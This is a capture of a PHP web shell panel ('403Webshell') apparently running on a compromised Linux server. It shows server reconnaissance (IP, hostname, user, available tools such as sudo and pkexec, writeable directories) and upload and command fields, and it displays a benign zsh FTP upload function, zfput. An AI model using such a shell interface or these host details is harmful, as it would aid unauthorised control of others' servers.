403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.211
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/share/zsh/5.5.1/functions/zfput
# function zfput {
# Simple put:  dump every file under the same name, but stripping
# off any directory parts to get the remote filename (i.e. always
# goes into current remote directory).  Use zfpcp to specify new
# file name or new directory at remote end.
#
# -r means put recursively:  any directories encountered will have
#    all their contents to arbitrary depth transferred.  Note that
#    this creates the required directories.  Any files in subdirectories
#    whose names begin with a `.' will also be included.

emulate -L zsh

[[ $curcontext = :zf* ]] || local curcontext=:zfput
local opt opt_r
integer stat do_close abort

while getopts :r opt; do
  [[ $opt = '?' ]] && print "zfget: bad option: -$OPTARG" && return 1
  eval "opt_$opt=1"
done
(( OPTIND > 1 )) && shift $(( OPTIND - 1 ))

zfautocheck

zfput_sub() {
  local subdirs loc rem
  integer stat
  subdirs=()

  for loc in $*; do
    if [[ -n $opt_r ]]; then
      if [[ -d $loc ]]; then
	subdirs=($subdirs $loc)
	continue
      else
	rem=$loc
      fi
    else
      rem=${loc:t}
    fi

    zftp put $rem <$loc
    (( $? )) && stat=$?
    if ! zftp test; then
      abort=1
      (( stat )) || stat=1
      break;
    fi
  done

  while (( $#subdirs  && ! abort )); do
    zftp mkdir ${subdirs[1]}
    zfput_sub ${subdirs[1]}/*(ND)
    (( $? )) && stat=$?
    shift subdirs
  done

  return $stat
}

zfput_sub $*
stat=$?

(( $do_close )) && zfclose

return $stat
# }

Youez - 2016 - github.com/yon3zu
LinuXploit